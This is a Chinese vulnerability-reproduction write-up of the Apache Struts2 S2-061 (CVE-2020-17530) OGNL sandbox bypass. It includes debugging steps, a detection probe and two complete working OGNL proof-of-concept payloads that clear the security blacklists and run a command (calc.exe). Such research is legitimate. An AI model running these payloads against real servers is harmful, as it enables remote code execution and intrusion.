漏洞描述
本次漏洞是对S2-059漏洞修复后的绕过。S2-059的修复补丁仅修复了沙盒绕过，但是并没有修复OGNL表达式的执行。但是在最新版本2.5.26版本中OGNL表达式的执行也修复了。
漏洞影响版本
struts 2.0.0 - struts 2.5.25
漏洞分析
本文仅是对S2-061进行复现，并且对复现的过程进行记录，具体的分析思路可以参考 安恒信息安全研究院-Struts2 S2-061漏洞分析(CVE-2020-17530)
Smi1e师傅tql 膜了 呜呜呜
漏洞复现
测试环境
IDEA 2019.3.5 Struts2 2.5.26/Struts2 2.3.33 Apache-Tomcat-8.5.57
相关依赖包
注意，搭建测试环境的时候，除了下载struts2的最小依赖包(
struts-2.x.xx-min-lib.zip)以外，本次的环境，还需要依赖同版本包下的commons-collections-x.x.jar，可以在struts-2.x.xx-lib.zip中找到版本对应的包，后续会说明为什么一定需要这个包。
2.3.3相关依赖包
2.3.3相关依赖包
2.5.25相关依赖包
2.5.25相关依赖包
复现思路简略说明（具体思路请移步上文中的漏洞分析文章）
1.首先找到struts2标签解析的入口，也是我们本次漏洞Debug跟踪的重点。
标签解析入口
全方法名：org.apache.struts2.views.jsp.ComponentTagSupport#doStartTag
这里是标签解析的开始方法，同时这里能够观测到整个OgnlValueStack对象，也是我们开始寻找利用点的地方。
其中我们本次要使用的利用点就stack中断点可以找到（这一步在前面的思路分析中可以找到，但是因为debug点没有描述清楚，一开始找了很久，最后在查阅其他版本的文章分析才找到这个位置）:
OgnlValueStack内容查看
从上文中的位置，我们可以得到获取这个对象的获取调用链，如下图
找到 org.apache.tomcat.InstanceManager
转换为ognl表达式后如下：#application.get('org.apache.tomcat.InstanceManager')
1.org.apache.catalina.core.DefaultInstanceManager 的方法不做过多描述，借用分析文章中的一张图，可以使用这个对象中的newInstance方法实例化任意无参构造方法的类并返回。
DefaultInstanceManager的newInstance方法
1.创建org.apache.commons.collections.BeanMap对象(本次的漏洞复现的主角，同时这个包就在commons-collections-x.x.jar中)
BeanMap重点方法
API简要描述（若想看详细方法分析，请移步到上文的分析文章）:
Object get("xxxx") 实际相当于调用内部对象的getXxx,比如getName() Object put("xxxx",Object) 实际相当于调用内部对象的,setXxxx,比如setName() void setBean(Object) 重新设置内部对象，设置完成后上面两个才能生效 Object getBean() 获取内部对象，这里可以在断点的时候查看到当前map中的实际对象
整体创建的Ognl表达式（这里存放到application中，方便多次请求使用）
%{#application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')}
1.获取到OgnlContext对象 （实际就是#attr 、#request 等map对象中的 struts.valueStack）并且设置到上一步的BeanMap中，用于绕过沙盒限制，进行内部方法调用。
valueStack方法链
Ognl表达式代码
%{#application.map.setBean(#request.get('struts.valueStack'))}
1.使用3和4同样的原理，利用 BeanMap使用com.opensymphony.xwork2.ognl.OgnlValueStack 中的 getContext 方法间接获取到 OgnlContext,并且重新设置到一个新的BeanMap中。
OgnlValueStack获取当前OgnlContext的方法
这里把两个步骤的Ognl代码同时贴出来
# 注意，自行调试的话，需要分两次执行 %{#application.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')} %{#application.map2.setBean(#application.get('map').get('context'))}
1.使用上面的原理，使用第二步得到的OgnlContext获取到内部的com.opensymphony.xwork2.ognl.SecurityMemberAccess对象，在设置到新的BeanMap中，用于重置黑名单
OgnlContext获取SecurityMemberAccess的方法
# 注意，自行调试的话，需要分两次执行%{#application.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')}%{#application.map3.setBean(#application.get('map2').get('memberAccess'))}
1.确认一下之前存放的Map都正确存下来了，不然岂不是白忙活，其实每一步执行完后，都可以查看一次，确认每一步都是操作正确的，这里我就一次过了。
断点确认前面设置的数据，是否正确
1.前面的操作都确认没有问题后，就可以调用方法重置黑名单了，主要API为com.opensymphony.xwork2.ognl.SecurityMemberAccess#setExcludedClasses和com.opensymphony.xwork2.ognl.SecurityMemberAccess#setExcludedPackageNames,如下图
设置黑名单的两个方法
在我们这两个地方打了断点后，我们请求下面或者前面的ognl可以发现，在每次收到请求的时候，都会调用一次这里的黑名单赋值，也就是说，就算是我们在本次请求重置了黑名单，在下次请求的时候，黑名单还是会重置。因此只有前面的ognl可以持久化存储，实际利用的时候，必须要在一个请求中进行命令执行。下文还会有一个存放在request中的poc。
初次请求赋值:
自动重置黑名单1
自动重置黑名单2
执行下面清空黑名单代码的重新赋值
清空黑名单1
清空黑名单2
清7空黑名单的ognl代码
# 注意，自行调试的话，需要分两次执行 #application.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) #application.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet'))
1.这里就可以使用黑名单中的freemarker.template.utility.Execute类中的exec方法执行Shell了。需要最少和前面的8一起使用，才能执行成功。可以直接使用最后面的完整poc代码执行。
shell代码断点查看
payload执行结果
执行shell的ognl代码
#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'})
完整POC
使用application，就是上面思路的完整POC
%{(#application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#application.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#application.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +(#application.map2.setBean(#application.get('map').get('context')) == true).toString().substring(0,0) + (#application.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#application.map3.setBean(#application.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#application.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#application.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}))}
使用request，单次请求有效的完整POC (推荐)
%{(#request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) + (#request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}))}
注意：请使用url对以上的OGNL代码编码后，再在工具上使用。
检测思路
在新版本的struts2中，已经不能通过参数构造来解析ognl表达式了，所以如果考虑想要使用脚本来进行批量扫描是否有本漏洞的时候，可以考虑直接爆破所有参数，然后判断页面中是否有预计的结果文本即可。
比如：
%{ 'gcowsec-' + (2000 + 20).toString()}
预计会得到
gcowsec-2020
使用脚本判断结果中是否包含就可以了
总结
此次漏洞只是S2-059修复的一个绕过，并且本次利用的核心类org.apache.commons.collections.BeanMap在commons-collections-x.x.jar包中，但是在官方的最小依赖包中并没有包含这个包。所以即使扫到了支持OGNL表达式的注入点，但是如果没有使用这个依赖包，也还是没办法进行利用。
参考文章
安恒信息安全研究院-Struts2 S2-061漏洞分析(CVE-2020-17530)
[官方更新公告]https://cwiki.apache.org/confluence/display/WW/S2-061
[Struts2-059 远程代码执行漏洞（CVE-2019-0230）分析]https://blog.csdn.net/weixin_46236101/article/details/109080913
360-CVE-2020-17530: Apache Struts2 远程代码执行漏洞通告
